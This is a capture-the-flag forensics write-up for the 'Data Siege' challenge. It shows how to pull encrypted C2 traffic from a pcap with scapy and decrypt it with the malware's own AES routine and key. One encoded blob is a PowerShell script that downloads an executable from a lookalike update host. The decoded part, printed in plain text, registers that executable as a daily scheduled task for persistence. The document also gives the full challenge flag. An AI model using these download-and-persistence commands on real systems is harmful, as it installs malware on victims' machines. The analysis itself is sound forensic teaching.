Data Siege

The pcap contains a .NET executable that we can decompile in ILSpy. Inside, we see that the traffic is encrypted, and then base64 encoded before being sent out over the network.

I wrote the following to extract all potentially base64 encoded strings (scapy 2.4.4, it appears scapy 2.5+ will need to change)

import json
from pprint import pprint
from scapy.all import *

packets = rdpcap('capture.pcap')

for packet in packets:
    try:
        if not isinstance(packet[TCP].payload, scapy.packet.NoPayload):
            potential_base64 = str(packet[TCP].payload)[2:-1]
            if not('\\x00' in potential_base64 or '\\xFF' in potential_base64):
                print(f"{potential_base64=}")
    except:
        pass

Using the decrypt function I added all the base64 from the pcap wrapped with Console.WriteLine(Decrypt())

using System.Security.Cryptography;
using System.Text;

string Decrypt(string cipherText)
{
    try
    {
        string encryptKey = "VYAemVeO3zUDTL6N62kVA";
        byte[] array = Convert.FromBase64String(cipherText);
        using (Aes aes = Aes.Create())
        {
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
            {
                    86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
                    116, 95, 83
            });
            aes.Key = rfc2898DeriveBytes.GetBytes(32);
            aes.IV = rfc2898DeriveBytes.GetBytes(16);
            using MemoryStream memoryStream = new MemoryStream();
            using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
            {
                cryptoStream.Write(array, 0, array.Length);
                cryptoStream.Close();
            }
            cipherText = Encoding.Default.GetString(memoryStream.ToArray());
        }
        return cipherText;
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
        Console.WriteLine("Cipher Text: " + cipherText);
        return "error";
    }
}

Console.WriteLine(Decrypt("3a42oeqqUlDFRMc0fU2izQ=="));
Console.WriteLine(Decrypt("ZKlcDuS6syl4/w1JGgzkYxeaGTSooLkoI62mUeJh4hZgRRytOHq8obQ7o133pBW7BilbKoUuKeTvXi/2fmd4v+gOO/E6A0DGMWiW2+XZ+lkDa97VsbxXAwm0zhunRyBXHuo8TFbQ3wFkFtA3SBFDe+LRYQFB/Kzk/HX/EomfOj2aDYRGYBCHiGS70BiIC/gyNOW6m0xTu1oZx90SCoFel95v+vi8I8rQ1N6Dy/GPMuhcSWAJ8M9Q2N7fVEz92HWYoi8K5Zvge/7REg/5GKT4pu7KnnFCKNrTp9AqUoPuHm0cWy9J6ZxqwuOXTR8LzbwbmXohANtTGso6Dqbih7aai57uVAktF3/uK5nN7EgMSC0ZsUclzPZjm0r4ITE2HtBrRXJ78cUfIbxd+dIDBGts7IuDfjr0qyXuuzw+5o8pvKkTemvTcNXzNQbSWj+5tTxxly0Kgxi5MVT0ecyJfNfdZG0slqYHKaqJCZm6ShfvGRFsglKmenBB274sBdkVqIRtodB8dD1AM1ZQQX1MBMGDeCwFqc+ahch0x375U6Ekmvf2fzCZ/IaHOHBc8p5se1oNMRbIqcJaundh5cuYL/h8p/NPVTK9veu3Qihy310wkjg=\r\n"));
Console.WriteLine(Decrypt("MVLZZEXaiYxnXr4paESBd7S7kqQMujOq/n6jsr5eBfaDCRSXQMtNa1dLe3iGWvh7qabw+CXRiYtv1VHJNJidUuS5dbMYUK26hJJQJ9crfNBsoaekpIiFxGeZoDM9dIGHSWDHEUuptpB4SIXQZXwdKtL3TAQk/zm+6EXk6xVZEyI0fkymbSGz9fay/vvTLIQhFqVhNnPx30QiLOBtNvGDJzMjKuzngH8Vsv1VhYqKS/vCW2fN2knJRy9RuVyXDzft4FYQRfWCnyGXam+TmI6EKVzEgllOcRlfwit7elWhLgBAnJY/t8AMYHuZSdZE0l7t2MNtm4CRRIdUf9b2v0Z0rxEy7hWWJEkD42OdyVkP8oudjA6w9vqsUkCjKnKw5rXr5XKjzuBwziKeX7K2QkY9x8v5ptrlpO908OPzyPo27xUAY+YrxYubbEpwYyDbVmHETS3Yssgd9IYB1doA0QoI9bYzx1vDdiwtgjoNJlIEnYs=\r\n"));
Console.WriteLine(Decrypt("zVmhuROwQw02oztmJNCvd2v8wXTNUWmU3zkKDpUBqUON+hKOocQYLG0pOhERLdHDS+yw3KU6RD9Y4LDBjgKeQnjml4XQMYhl6AFyjBOJpA4UEo2fALsqvbU4Doyb/gtg"));
Console.WriteLine(Decrypt("FdbfR3mrvbcyK6+9WQcR5A=="));
Console.WriteLine(Decrypt("bsi2k0APOcHI6TMDnO+dBg=="));
Console.WriteLine(Decrypt("Q2zJpoA5nGWWiB2ec1v0aQ=="));
Console.WriteLine(Decrypt("uib3VErvtueXl08f8u4nfQ=="));
Console.WriteLine(Decrypt("ghck5X9x6380mB3aBi+AY7QIEnzhNuF/pDMz9iWssDg="));
Console.WriteLine(Decrypt("sTRnTjJH0S7yIPUVwWFsNxwMOMxdNiq9OXDRFrCwpPF2UhkfUF0Mw0/YGLpHMCfw"));
Console.WriteLine(Decrypt("zz2ELWwzZYbeI1idIdhMwLyqZ6yatlXwAFOfNGy5QVg="));
Console.WriteLine(Decrypt("YdPbtpi8M11upjnkrlr/y5tLDKdQBiPWbkgDSKmFCWusn5GFkosc8AYU2M7C1+xEHdMgJ3is+7WW099YpCIArFhDNKRZxAM9GPawxOMI+w3/oimWm9Y/7pjGbcpXcC+2X1MTla0M2nvzsIKPtGeSku4npe8pPGS+fbxwXOkZ5kfZgaN33Nn+jW61VP49dslxvH47v97udYEHm8IO+f7OhCfzetKiulh3PN4tlzIB5I+PBdtDbOXnxHj+ygGW25xjyNh1Fbm2kweHL+qlFmPPtyapWYZMd85tPmRYBwevpvu9LO2tElYAcmFJwG8xc9lc9ca03ha2rIh3ioSNws9grVwFW3SjdcyqoGhcN8cr0FPgu2Q0OVKMdYprjRdEEeptdcBMybcYhHs9jcNKZu0R/pgiSbCPuONN67uF2Jw/9Ss="));
Console.WriteLine(Decrypt("ghck5X9x6380mB3aBi+AY7QIEnzhNuF/pDMz9iWssDg="));
Console.WriteLine(Decrypt("sTRnTjJH0S7yIPUVwWFsNxwMOMxdNiq9OXDRFrCwpPF2UhkfUF0Mw0/YGLpHMCfw"));
Console.WriteLine(Decrypt("zz2ELWwzZYbeI1idIdhMwLyqZ6yatlXwAFOfNGy5QVg="));
Console.WriteLine(Decrypt("CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="));
Console.WriteLine(Decrypt("986ztFYX3Ksf2pHdywqpLg=="));

In all of these we get the first two parts of the flag. The last piece was hidden in an encoded powershell script at the end of the pcap

$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"

$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM

$settings = New-ScheduledTaskSettingsSet

# 3th flag part:

Register-ScheduledTask -TaskName "0r3d_1n_7h3_h34dqu4r73r5}" -Action $action -Trigger $trigger -Settings $settings

Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}